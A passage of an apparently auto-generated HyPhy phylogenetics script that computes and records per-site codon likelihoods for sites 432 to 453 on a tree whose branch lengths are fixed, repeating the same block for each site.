ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"432\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 433...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1296,1297,1298\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 433\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"433\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 434...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1299,1300,1301\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 434\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"434\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 435...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1302,1303,1304\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 435\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"435\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 436...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1305,1306,1307\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 436\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"436\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 437...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1308,1309,1310\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 437\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"437\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 438...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1311,1312,1313\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 438\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"438\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 439...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1314,1315,1316\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 439\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"439\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 440...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1317,1318,1319\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 440\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"440\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 441...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1320,1321,1322\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 441\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"441\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 442...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1323,1324,1325\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 442\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"442\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 443...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1326,1327,1328\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 443\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"443\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 444...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1329,1330,1331\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 444\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"444\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 445...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1332,1333,1334\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 445\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"445\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 446...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1335,1336,1337\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 446\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"446\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 447...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1338,1339,1340\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 447\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"447\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 448...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1341,1342,1343\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 448\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"448\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 449...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1344,1345,1346\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 449\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"449\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 450...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1347,1348,1349\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 450\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"450\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 451...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1350,1351,1352\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 451\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"451\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 452...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1353,1354,1355\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 452\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"452\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 453...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1356,1357,1358\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 453\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"453\\t\", 